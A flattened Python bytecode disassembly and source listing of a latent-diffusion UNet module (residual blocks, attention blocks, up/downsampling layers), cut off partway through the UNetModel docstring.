FORMAT_VALUE LOAD_CONST ', i.e., in cases where num_attention_blocks[i] > 0 but 2**i not in attention_resolutions, attention will still not be set.' BUILD_STRING CALL_FUNCTION POP_TOP LOAD_FAST attention_resolutions LOAD_DEREF self STORE_ATTR attention_resolutions LOAD_FAST dropout LOAD_DEREF self STORE_ATTR dropout LOAD_FAST channel_mult LOAD_DEREF self STORE_ATTR channel_mult LOAD_FAST conv_resample LOAD_DEREF self STORE_ATTR conv_resample LOAD_FAST num_classes LOAD_DEREF self STORE_ATTR num_classes LOAD_FAST use_checkpoint LOAD_DEREF self STORE_ATTR use_checkpoint LOAD_FAST use_fp16 EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL th LOAD_ATTR float16 JUMP_FORWARD to 390 LOAD_GLOBAL th LOAD_ATTR float32 LOAD_DEREF self STORE_ATTR dtype LOAD_FAST num_heads LOAD_DEREF self STORE_ATTR num_heads LOAD_FAST num_head_channels LOAD_DEREF self STORE_ATTR num_head_channels LOAD_FAST num_heads_upsample LOAD_DEREF self STORE_ATTR num_heads_upsample LOAD_FAST n_embed LOAD_CONST None COMPARE_OP is not LOAD_DEREF self STORE_ATTR predict_codebook_ids LOAD_FAST model_channels LOAD_CONST 4 BINARY_MULTIPLY STORE_FAST time_embed_dim LOAD_GLOBAL nn LOAD_METHOD Sequential LOAD_GLOBAL linear LOAD_FAST model_channels LOAD_FAST time_embed_dim CALL_FUNCTION LOAD_GLOBAL nn LOAD_METHOD SiLU CALL_METHOD LOAD_GLOBAL linear LOAD_FAST time_embed_dim LOAD_FAST time_embed_dim CALL_FUNCTION CALL_METHOD LOAD_DEREF self STORE_ATTR time_embed LOAD_DEREF self LOAD_ATTR num_classes LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_DEREF self LOAD_ATTR num_classes LOAD_GLOBAL int CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL nn LOAD_METHOD Embedding LOAD_FAST num_classes LOAD_FAST time_embed_dim CALL_METHOD LOAD_DEREF self STORE_ATTR label_emb JUMP_FORWARD to 546 LOAD_DEREF self LOAD_ATTR num_classes LOAD_CONST 'continuous' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL print LOAD_CONST 'setting up linear c_adm embedding layer' CALL_FUNCTION POP_TOP LOAD_GLOBAL nn LOAD_METHOD Linear LOAD_CONST 1 LOAD_FAST time_embed_dim CALL_METHOD LOAD_DEREF self STORE_ATTR label_emb JUMP_FORWARD to 546 LOAD_GLOBAL ValueError CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL nn LOAD_METHOD ModuleList LOAD_GLOBAL TimestepEmbedSequential LOAD_GLOBAL conv_nd LOAD_FAST dims LOAD_FAST in_channels LOAD_FAST model_channels LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST ('padding',) CALL_FUNCTION CALL_FUNCTION BUILD_LIST CALL_METHOD LOAD_DEREF self STORE_ATTR input_blocks LOAD_FAST model_channels LOAD_DEREF self STORE_ATTR _feature_size LOAD_FAST model_channels BUILD_LIST STORE_FAST input_block_chans LOAD_FAST model_channels STORE_FAST ch LOAD_CONST 1 STORE_FAST ds EXTENDED_ARG SETUP_LOOP to 1014 LOAD_GLOBAL enumerate LOAD_FAST channel_mult CALL_FUNCTION GET_ITER EXTENDED_ARG FOR_ITER to 1012 UNPACK_SEQUENCE STORE_FAST level STORE_FAST mult EXTENDED_ARG SETUP_LOOP to 892 LOAD_GLOBAL range LOAD_DEREF self LOAD_ATTR num_res_blocks LOAD_FAST level BINARY_SUBSCR CALL_FUNCTION GET_ITER FOR_ITER to 890 STORE_FAST nr LOAD_GLOBAL ResBlock LOAD_FAST ch LOAD_FAST time_embed_dim LOAD_FAST dropout LOAD_FAST mult LOAD_FAST model_channels BINARY_MULTIPLY LOAD_FAST dims LOAD_FAST use_checkpoint LOAD_FAST use_scale_shift_norm LOAD_CONST ('out_channels', 'dims', 'use_checkpoint', 'use_scale_shift_norm') CALL_FUNCTION BUILD_LIST STORE_FAST layers LOAD_FAST mult LOAD_FAST model_channels BINARY_MULTIPLY STORE_FAST ch LOAD_FAST ds LOAD_FAST attention_resolutions COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST num_head_channels LOAD_CONST -1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ch LOAD_FAST num_heads BINARY_FLOOR_DIVIDE STORE_FAST dim_head JUMP_FORWARD to 720 LOAD_FAST ch LOAD_FAST num_head_channels BINARY_FLOOR_DIVIDE STORE_FAST num_heads LOAD_FAST num_head_channels STORE_FAST dim_head LOAD_FAST legacy EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST use_spatial_transformer EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ch LOAD_FAST num_heads BINARY_FLOOR_DIVIDE JUMP_FORWARD to 742 LOAD_FAST num_head_channels STORE_FAST dim_head LOAD_GLOBAL exists LOAD_FAST disable_self_attentions CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST disable_self_attentions LOAD_FAST level BINARY_SUBSCR STORE_FAST disabled_sa JUMP_FORWARD to 768 LOAD_CONST False STORE_FAST disabled_sa LOAD_GLOBAL exists LOAD_DEREF num_attention_blocks CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST nr LOAD_DEREF num_attention_blocks LOAD_FAST level BINARY_SUBSCR COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST layers LOAD_METHOD append LOAD_FAST use_spatial_transformer EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AttentionBlock LOAD_FAST ch LOAD_FAST use_checkpoint LOAD_FAST num_heads LOAD_FAST dim_head LOAD_FAST use_new_attention_order LOAD_CONST ('use_checkpoint', 'num_heads', 'num_head_channels', 'use_new_attention_order') CALL_FUNCTION JUMP_FORWARD to 842 LOAD_GLOBAL SpatialTransformer LOAD_FAST ch LOAD_FAST num_heads LOAD_FAST dim_head LOAD_FAST transformer_depth LOAD_FAST context_dim LOAD_FAST disabled_sa LOAD_FAST use_linear_in_transformer LOAD_FAST use_checkpoint LOAD_CONST ('depth', 'context_dim', 'disable_self_attn', 'use_linear', 'use_checkpoint') CALL_FUNCTION CALL_METHOD POP_TOP LOAD_DEREF self LOAD_ATTR input_blocks LOAD_METHOD append LOAD_GLOBAL TimestepEmbedSequential LOAD_FAST layers CALL_FUNCTION CALL_METHOD POP_TOP LOAD_DEREF self DUP_TOP LOAD_ATTR _feature_size LOAD_FAST ch INPLACE_ADD ROT_TWO STORE_ATTR _feature_size LOAD_FAST input_block_chans LOAD_METHOD append LOAD_FAST ch CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST level LOAD_GLOBAL len LOAD_FAST channel_mult CALL_FUNCTION LOAD_CONST 1 BINARY_SUBTRACT COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ch STORE_FAST out_ch LOAD_DEREF self LOAD_ATTR input_blocks LOAD_METHOD append LOAD_GLOBAL TimestepEmbedSequential LOAD_FAST resblock_updown EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL ResBlock LOAD_FAST ch LOAD_FAST time_embed_dim LOAD_FAST dropout LOAD_FAST out_ch LOAD_FAST dims LOAD_FAST use_checkpoint LOAD_FAST use_scale_shift_norm LOAD_CONST True LOAD_CONST ('out_channels', 'dims', 'use_checkpoint', 'use_scale_shift_norm', 'down') CALL_FUNCTION JUMP_FORWARD to 966 LOAD_GLOBAL Downsample LOAD_FAST ch LOAD_FAST conv_resample LOAD_FAST dims LOAD_FAST out_ch LOAD_CONST ('dims', 'out_channels') CALL_FUNCTION CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST out_ch STORE_FAST ch LOAD_FAST input_block_chans LOAD_METHOD append LOAD_FAST ch CALL_METHOD POP_TOP LOAD_FAST ds LOAD_CONST 2 INPLACE_MULTIPLY STORE_FAST ds LOAD_DEREF self DUP_TOP LOAD_ATTR _feature_size LOAD_FAST ch INPLACE_ADD ROT_TWO STORE_ATTR _feature_size EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST num_head_channels LOAD_CONST -1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ch LOAD_FAST num_heads BINARY_FLOOR_DIVIDE STORE_FAST dim_head JUMP_FORWARD to 1046 LOAD_FAST ch LOAD_FAST num_head_channels BINARY_FLOOR_DIVIDE STORE_FAST num_heads LOAD_FAST num_head_channels STORE_FAST dim_head LOAD_FAST legacy EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST use_spatial_transformer EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ch LOAD_FAST num_heads BINARY_FLOOR_DIVIDE JUMP_FORWARD to 1068 LOAD_FAST num_head_channels STORE_FAST dim_head LOAD_GLOBAL TimestepEmbedSequential LOAD_GLOBAL ResBlock LOAD_FAST ch LOAD_FAST time_embed_dim LOAD_FAST dropout LOAD_FAST dims LOAD_FAST use_checkpoint LOAD_FAST use_scale_shift_norm LOAD_CONST ('dims', 'use_checkpoint', 'use_scale_shift_norm') CALL_FUNCTION LOAD_FAST use_spatial_transformer EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AttentionBlock LOAD_FAST ch LOAD_FAST use_checkpoint LOAD_FAST num_heads LOAD_FAST dim_head LOAD_FAST use_new_attention_order LOAD_CONST ('use_checkpoint', 'num_heads', 'num_head_channels', 'use_new_attention_order') CALL_FUNCTION JUMP_FORWARD to 1136 LOAD_GLOBAL SpatialTransformer LOAD_FAST ch LOAD_FAST num_heads LOAD_FAST dim_head LOAD_FAST transformer_depth LOAD_FAST context_dim LOAD_FAST disable_middle_self_attn LOAD_FAST use_linear_in_transformer LOAD_FAST use_checkpoint LOAD_CONST ('depth', 'context_dim', 'disable_self_attn', 'use_linear', 'use_checkpoint') CALL_FUNCTION LOAD_GLOBAL ResBlock LOAD_FAST ch LOAD_FAST time_embed_dim LOAD_FAST dropout LOAD_FAST dims LOAD_FAST use_checkpoint LOAD_FAST use_scale_shift_norm LOAD_CONST ('dims', 'use_checkpoint', 'use_scale_shift_norm') CALL_FUNCTION CALL_FUNCTION LOAD_DEREF self STORE_ATTR middle_block LOAD_DEREF self DUP_TOP LOAD_ATTR _feature_size LOAD_FAST ch INPLACE_ADD ROT_TWO STORE_ATTR _feature_size LOAD_GLOBAL nn LOAD_METHOD ModuleList BUILD_LIST CALL_METHOD LOAD_DEREF self STORE_ATTR output_blocks EXTENDED_ARG SETUP_LOOP to 1594 LOAD_GLOBAL list LOAD_GLOBAL enumerate LOAD_FAST channel_mult CALL_FUNCTION CALL_FUNCTION LOAD_CONST None LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR GET_ITER EXTENDED_ARG FOR_ITER to 1592 UNPACK_SEQUENCE STORE_FAST level STORE_FAST mult EXTENDED_ARG SETUP_LOOP to 1588 LOAD_GLOBAL range LOAD_DEREF self LOAD_ATTR num_res_blocks LOAD_FAST level BINARY_SUBSCR LOAD_CONST 1 BINARY_ADD CALL_FUNCTION GET_ITER EXTENDED_ARG FOR_ITER to 1586 STORE_FAST i LOAD_FAST input_block_chans LOAD_METHOD pop CALL_METHOD STORE_FAST ich LOAD_GLOBAL ResBlock LOAD_FAST ch LOAD_FAST ich BINARY_ADD LOAD_FAST time_embed_dim LOAD_FAST dropout LOAD_FAST model_channels LOAD_FAST mult BINARY_MULTIPLY LOAD_FAST dims LOAD_FAST use_checkpoint LOAD_FAST use_scale_shift_norm LOAD_CONST ('out_channels', 'dims', 'use_checkpoint', 'use_scale_shift_norm') CALL_FUNCTION BUILD_LIST STORE_FAST layers LOAD_FAST model_channels LOAD_FAST mult BINARY_MULTIPLY STORE_FAST ch LOAD_FAST ds LOAD_FAST attention_resolutions COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST num_head_channels LOAD_CONST -1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ch LOAD_FAST num_heads BINARY_FLOOR_DIVIDE STORE_FAST dim_head JUMP_FORWARD to 1340 LOAD_FAST ch LOAD_FAST num_head_channels BINARY_FLOOR_DIVIDE STORE_FAST num_heads LOAD_FAST num_head_channels STORE_FAST dim_head LOAD_FAST legacy EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST use_spatial_transformer EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ch LOAD_FAST num_heads BINARY_FLOOR_DIVIDE JUMP_FORWARD to 1362 LOAD_FAST num_head_channels STORE_FAST dim_head LOAD_GLOBAL exists LOAD_FAST disable_self_attentions CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST disable_self_attentions LOAD_FAST level BINARY_SUBSCR STORE_FAST disabled_sa JUMP_FORWARD to 1388 LOAD_CONST False STORE_FAST disabled_sa LOAD_GLOBAL exists LOAD_DEREF num_attention_blocks CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST i LOAD_DEREF num_attention_blocks LOAD_FAST level BINARY_SUBSCR COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST layers LOAD_METHOD append LOAD_FAST use_spatial_transformer EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AttentionBlock LOAD_FAST ch LOAD_FAST use_checkpoint LOAD_FAST num_heads_upsample LOAD_FAST dim_head LOAD_FAST use_new_attention_order LOAD_CONST ('use_checkpoint', 'num_heads', 'num_head_channels', 'use_new_attention_order') CALL_FUNCTION JUMP_FORWARD to 1462 LOAD_GLOBAL SpatialTransformer LOAD_FAST ch LOAD_FAST num_heads LOAD_FAST dim_head LOAD_FAST transformer_depth LOAD_FAST context_dim LOAD_FAST disabled_sa LOAD_FAST use_linear_in_transformer LOAD_FAST use_checkpoint LOAD_CONST ('depth', 'context_dim', 'disable_self_attn', 'use_linear', 'use_checkpoint') CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST level EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST i LOAD_DEREF self LOAD_ATTR num_res_blocks LOAD_FAST level BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ch STORE_FAST out_ch LOAD_FAST layers LOAD_METHOD append LOAD_FAST resblock_updown EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL ResBlock LOAD_FAST ch LOAD_FAST time_embed_dim LOAD_FAST dropout LOAD_FAST out_ch LOAD_FAST dims LOAD_FAST use_checkpoint LOAD_FAST use_scale_shift_norm LOAD_CONST True LOAD_CONST ('out_channels', 'dims', 'use_checkpoint', 'use_scale_shift_norm', 'up') CALL_FUNCTION JUMP_FORWARD to 1540 LOAD_GLOBAL Upsample LOAD_FAST ch LOAD_FAST conv_resample LOAD_FAST dims LOAD_FAST out_ch LOAD_CONST ('dims', 'out_channels') CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST ds LOAD_CONST 2 INPLACE_FLOOR_DIVIDE STORE_FAST ds LOAD_DEREF self LOAD_ATTR output_blocks LOAD_METHOD append LOAD_GLOBAL TimestepEmbedSequential LOAD_FAST layers CALL_FUNCTION CALL_METHOD POP_TOP LOAD_DEREF self DUP_TOP LOAD_ATTR _feature_size LOAD_FAST ch INPLACE_ADD ROT_TWO STORE_ATTR _feature_size EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL nn LOAD_METHOD Sequential LOAD_GLOBAL normalization LOAD_FAST ch CALL_FUNCTION LOAD_GLOBAL nn LOAD_METHOD SiLU CALL_METHOD LOAD_GLOBAL zero_module LOAD_GLOBAL conv_nd LOAD_FAST dims LOAD_FAST model_channels LOAD_FAST out_channels LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST ('padding',) CALL_FUNCTION CALL_FUNCTION CALL_METHOD LOAD_DEREF self STORE_ATTR out LOAD_DEREF self LOAD_ATTR predict_codebook_ids EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL nn LOAD_METHOD Sequential LOAD_GLOBAL normalization LOAD_FAST ch CALL_FUNCTION LOAD_GLOBAL conv_nd LOAD_FAST dims LOAD_FAST model_channels LOAD_FAST n_embed LOAD_CONST 1 CALL_FUNCTION CALL_METHOD LOAD_DEREF self STORE_ATTR id_predictor LOAD_CONST None RETURN_VALUE LOAD_DEREF self LOAD_ATTR num_res_blocks LOAD_FAST i BINARY_SUBSCR LOAD_DEREF num_attention_blocks LOAD_FAST i BINARY_SUBSCR COMPARE_OP >= RETURN_VALUE LOAD_FAST self LOAD_ATTR input_blocks LOAD_METHOD apply LOAD_GLOBAL convert_module_to_f16 CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR middle_block LOAD_METHOD apply LOAD_GLOBAL convert_module_to_f16 CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR output_blocks LOAD_METHOD apply LOAD_GLOBAL convert_module_to_f16 CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR input_blocks LOAD_METHOD apply LOAD_GLOBAL convert_module_to_f32 CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR middle_block LOAD_METHOD apply LOAD_GLOBAL convert_module_to_f32 CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR output_blocks LOAD_METHOD apply LOAD_GLOBAL convert_module_to_f32 CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST y LOAD_CONST None COMPARE_OP is not LOAD_FAST self LOAD_ATTR num_classes LOAD_CONST None COMPARE_OP is not COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'must specify y if and only if the model is class-conditional' CALL_FUNCTION RAISE_VARARGS BUILD_LIST STORE_FAST hs LOAD_GLOBAL timestep_embedding LOAD_FAST timesteps LOAD_FAST self LOAD_ATTR model_channels LOAD_CONST False LOAD_CONST ('repeat_only',) CALL_FUNCTION STORE_FAST t_emb LOAD_FAST self LOAD_METHOD time_embed LOAD_FAST t_emb CALL_METHOD STORE_FAST emb LOAD_FAST self LOAD_ATTR num_classes LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST y LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST x LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST emb LOAD_FAST self LOAD_METHOD label_emb LOAD_FAST y CALL_METHOD BINARY_ADD STORE_FAST emb LOAD_FAST x LOAD_METHOD type LOAD_FAST self LOAD_ATTR dtype CALL_METHOD STORE_FAST h SETUP_LOOP to 154 LOAD_FAST self LOAD_ATTR input_blocks GET_ITER FOR_ITER to 152 STORE_FAST module LOAD_FAST module LOAD_FAST h LOAD_FAST emb LOAD_FAST context CALL_FUNCTION STORE_FAST h LOAD_FAST hs LOAD_METHOD append LOAD_FAST h CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_METHOD middle_block LOAD_FAST h LOAD_FAST emb LOAD_FAST context CALL_METHOD STORE_FAST h SETUP_LOOP to 218 LOAD_FAST self LOAD_ATTR output_blocks GET_ITER FOR_ITER to 216 STORE_FAST module LOAD_GLOBAL th LOAD_ATTR cat LOAD_FAST h LOAD_FAST hs LOAD_METHOD pop CALL_METHOD BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST h LOAD_FAST module LOAD_FAST h LOAD_FAST emb LOAD_FAST context CALL_FUNCTION STORE_FAST h JUMP_ABSOLUTE POP_BLOCK LOAD_FAST h LOAD_METHOD type LOAD_FAST x LOAD_ATTR dtype CALL_METHOD STORE_FAST h LOAD_FAST self LOAD_ATTR predict_codebook_ids POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD id_predictor LOAD_FAST h CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD out LOAD_FAST h CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE
import math from abc import abstractmethod import numpy as np import torch as th import torch.nn as nn import torch.nn.functional as F from ....ldm.modules.attention import SpatialTransformer from ....ldm.modules.diffusionmodules.util import ( avg_pool_nd, checkpoint, conv_nd, linear, normalization, timestep_embedding, zero_module, ) from ....ldm.util import exists def convert_module_to_f16(x): pass def convert_module_to_f32(x): pass class AttentionPool2d(nn.Module): """ Adapted from CLIP: https://github.com/openai/CLIP/blob/main/clip/model.py """ def __init__( self, spacial_dim: int, embed_dim: int, num_heads_channels: int, output_dim: int = None, ): super().__init__() self.positional_embedding = nn.Parameter( th.randn(embed_dim, spacial_dim**2 + 1) / embed_dim**0.5 ) self.qkv_proj = conv_nd(1, embed_dim, 3 * embed_dim, 1) self.c_proj = conv_nd(1, embed_dim, output_dim or embed_dim, 1) self.num_heads = embed_dim // num_heads_channels self.attention = QKVAttention(self.num_heads) def forward(self, x): b, c, *_spatial = x.shape x = x.reshape(b, c, -1) # NC(HW) x = th.cat([x.mean(dim=-1, keepdim=True), x], dim=-1) # NC(HW+1) x = x + self.positional_embedding[None, :, :].to(x.dtype) # NC(HW+1) x = self.qkv_proj(x) x = self.attention(x) x = self.c_proj(x) return x[:, :, 0] class TimestepBlock(nn.Module): """ Any module where forward() takes timestep embeddings as a second argument. """ @abstractmethod def forward(self, x, emb): """ Apply the module to `x` given `emb` timestep embeddings. """ class TimestepEmbedSequential(nn.Sequential, TimestepBlock): """ A sequential module that passes timestep embeddings to the children that support it as an extra input. """ def forward(self, x, emb, context=None): for layer in self: if isinstance(layer, TimestepBlock): x = layer(x, emb) elif isinstance(layer, SpatialTransformer): x = layer(x, context) else: x = layer(x) return x class Upsample(nn.Module): """ An upsampling layer with an optional convolution. :param channels: channels in the inputs and outputs. :param use_conv: a bool determining if a convolution is applied. :param dims: determines if the signal is 1D, 2D, or 3D. If 3D, then upsampling occurs in the inner-two dimensions. """ def __init__(self, channels, use_conv, dims=2, out_channels=None, padding=1): super().__init__() self.channels = channels self.out_channels = out_channels or channels self.use_conv = use_conv self.dims = dims if use_conv: self.conv = conv_nd( dims, self.channels, self.out_channels, 3, padding=padding ) def forward(self, x): assert x.shape[1] == self.channels if self.dims == 3: x = F.interpolate( x, (x.shape[2], x.shape[3] * 2, x.shape[4] * 2), mode="nearest" ) else: x = F.interpolate(x, scale_factor=2, mode="nearest") if self.use_conv: x = self.conv(x) return x class TransposedUpsample(nn.Module): "Learned 2x upsampling without padding" def __init__(self, channels, out_channels=None, ks=5): super().__init__() self.channels = channels self.out_channels = out_channels or channels self.up = nn.ConvTranspose2d( self.channels, self.out_channels, kernel_size=ks, stride=2 ) def forward(self, x): return self.up(x) class Downsample(nn.Module): """ A downsampling layer with an optional convolution. :param channels: channels in the inputs and outputs. :param use_conv: a bool determining if a convolution is applied. :param dims: determines if the signal is 1D, 2D, or 3D. If 3D, then downsampling occurs in the inner-two dimensions. """ def __init__(self, channels, use_conv, dims=2, out_channels=None, padding=1): super().__init__() self.channels = channels self.out_channels = out_channels or channels self.use_conv = use_conv self.dims = dims stride = 2 if dims != 3 else (1, 2, 2) if use_conv: self.op = conv_nd( dims, self.channels, self.out_channels, 3, stride=stride, padding=padding, ) else: assert self.channels == self.out_channels self.op = avg_pool_nd(dims, kernel_size=stride, stride=stride) def forward(self, x): assert x.shape[1] == self.channels return self.op(x) class ResBlock(TimestepBlock): """ A residual block that can optionally change the number of channels. :param channels: the number of input channels. :param emb_channels: the number of timestep embedding channels. :param dropout: the rate of dropout. :param out_channels: if specified, the number of out channels. :param use_conv: if True and out_channels is specified, use a spatial convolution instead of a smaller 1x1 convolution to change the channels in the skip connection. :param dims: determines if the signal is 1D, 2D, or 3D. :param use_checkpoint: if True, use gradient checkpointing on this module. :param up: if True, use this block for upsampling. :param down: if True, use this block for downsampling. """ def __init__( self, channels, emb_channels, dropout, out_channels=None, use_conv=False, use_scale_shift_norm=False, dims=2, use_checkpoint=False, up=False, down=False, ): super().__init__() self.channels = channels self.emb_channels = emb_channels self.dropout = dropout self.out_channels = out_channels or channels self.use_conv = use_conv self.use_checkpoint = use_checkpoint self.use_scale_shift_norm = use_scale_shift_norm self.in_layers = nn.Sequential( normalization(channels), nn.SiLU(), conv_nd(dims, channels, self.out_channels, 3, padding=1), ) self.updown = up or down if up: self.h_upd = Upsample(channels, False, dims) self.x_upd = Upsample(channels, False, dims) elif down: self.h_upd = Downsample(channels, False, dims) self.x_upd = Downsample(channels, False, dims) else: self.h_upd = self.x_upd = nn.Identity() self.emb_layers = nn.Sequential( nn.SiLU(), linear( emb_channels, 2 * self.out_channels if use_scale_shift_norm else self.out_channels, ), ) self.out_layers = nn.Sequential( normalization(self.out_channels), nn.SiLU(), nn.Dropout(p=dropout), zero_module( conv_nd(dims, self.out_channels, self.out_channels, 3, padding=1) ), ) if self.out_channels == channels: self.skip_connection = nn.Identity() elif use_conv: self.skip_connection = conv_nd( dims, channels, self.out_channels, 3, padding=1 ) else: self.skip_connection = conv_nd(dims, channels, self.out_channels, 1) def forward(self, x, emb): """ Apply the block to a Tensor, conditioned on a timestep embedding. :param x: an [N x C x ...] Tensor of features. :param emb: an [N x emb_channels] Tensor of timestep embeddings. :return: an [N x C x ...] Tensor of outputs. """ return checkpoint( self._forward, (x, emb), self.parameters(), self.use_checkpoint ) def _forward(self, x, emb): if self.updown: in_rest, in_conv = self.in_layers[:-1], self.in_layers[-1] h = in_rest(x) h = self.h_upd(h) x = self.x_upd(x) h = in_conv(h) else: h = self.in_layers(x) emb_out = self.emb_layers(emb).type(h.dtype) while len(emb_out.shape) < len(h.shape): emb_out = emb_out[..., None] if self.use_scale_shift_norm: out_norm, out_rest = self.out_layers[0], self.out_layers[1:] scale, shift = th.chunk(emb_out, 2, dim=1) h = out_norm(h) * (1 + scale) + shift h = out_rest(h) else: h = h + emb_out h = self.out_layers(h) return self.skip_connection(x) + h class AttentionBlock(nn.Module): """ An attention block that allows spatial positions to attend to each other. Originally ported from here, but adapted to the N-d case. https://github.com/hojonathanho/diffusion/blob/1e0dceb3b3495bbe19116a5e1b3596cd0706c543/diffusion_tf/models/unet.py#L66. """ def __init__( self, channels, num_heads=1, num_head_channels=-1, use_checkpoint=False, use_new_attention_order=False, ): super().__init__() self.channels = channels if num_head_channels == -1: self.num_heads = num_heads else: assert ( channels % num_head_channels == 0 ), f"q,k,v channels {channels} is not divisible by num_head_channels {num_head_channels}" self.num_heads = channels // num_head_channels self.use_checkpoint = use_checkpoint self.norm = normalization(channels) self.qkv = conv_nd(1, channels, channels * 3, 1) if use_new_attention_order: self.attention = QKVAttention(self.num_heads) else: self.attention = QKVAttentionLegacy(self.num_heads) self.proj_out = zero_module(conv_nd(1, channels, channels, 1)) def forward(self, x): return checkpoint( self._forward, (x,), self.parameters(), True ) # TODO: check checkpoint usage, is True # TODO: fix the .half call!!! def _forward(self, x): b, c, *spatial = x.shape x = x.reshape(b, c, -1) qkv = self.qkv(self.norm(x)) h = self.attention(qkv) h = self.proj_out(h) return (x + h).reshape(b, c, *spatial) def count_flops_attn(model, _x, y): """ A counter for the `thop` package to count the operations in an attention operation. Meant to be used like: macs, params = thop.profile( model, inputs=(inputs, timestamps), custom_ops={QKVAttention: QKVAttention.count_flops}, ) """ b, c, *spatial = y[0].shape num_spatial = int(np.prod(spatial)) matmul_ops = 2 * b * (num_spatial**2) * c model.total_ops += th.DoubleTensor([matmul_ops]) class QKVAttentionLegacy(nn.Module): """ A module which performs QKV attention. Matches legacy QKVAttention + input/ouput heads shaping """ def __init__(self, n_heads): super().__init__() self.n_heads = n_heads def forward(self, qkv): """ Apply QKV attention. :param qkv: an [N x (H * 3 * C) x T] tensor of Qs, Ks, and Vs. :return: an [N x (H * C) x T] tensor after attention. """ bs, width, length = qkv.shape assert width % (3 * self.n_heads) == 0 ch = width // (3 * self.n_heads) q, k, v = qkv.reshape(bs * self.n_heads, ch * 3, length).split(ch, dim=1) scale = 1 / math.sqrt(math.sqrt(ch)) weight = th.einsum( "bct,bcs->bts", q * scale, k * scale ) # More stable with f16 than dividing afterwards weight = th.softmax(weight.float(), dim=-1).type(weight.dtype) a = th.einsum("bts,bcs->bct", weight, v) return a.reshape(bs, -1, length) @staticmethod def count_flops(model, _x, y): return count_flops_attn(model, _x, y) class QKVAttention(nn.Module): """ A module which performs QKV attention and splits in a different order. """ def __init__(self, n_heads): super().__init__() self.n_heads = n_heads def forward(self, qkv): """ Apply QKV attention. :param qkv: an [N x (3 * H * C) x T] tensor of Qs, Ks, and Vs. :return: an [N x (H * C) x T] tensor after attention. """ bs, width, length = qkv.shape assert width % (3 * self.n_heads) == 0 ch = width // (3 * self.n_heads) q, k, v = qkv.chunk(3, dim=1) scale = 1 / math.sqrt(math.sqrt(ch)) weight = th.einsum( "bct,bcs->bts", (q * scale).view(bs * self.n_heads, ch, length), (k * scale).view(bs * self.n_heads, ch, length), ) # More stable with f16 than dividing afterwards weight = th.softmax(weight.float(), dim=-1).type(weight.dtype) a = th.einsum("bts,bcs->bct", weight, v.reshape(bs * self.n_heads, ch, length)) return a.reshape(bs, -1, length) @staticmethod def count_flops(model, _x, y): return count_flops_attn(model, _x, y) class UNetModel(nn.Module): """ The full UNet model with attention and timestep embedding. :param in_channels: channels in the input Tensor. :param 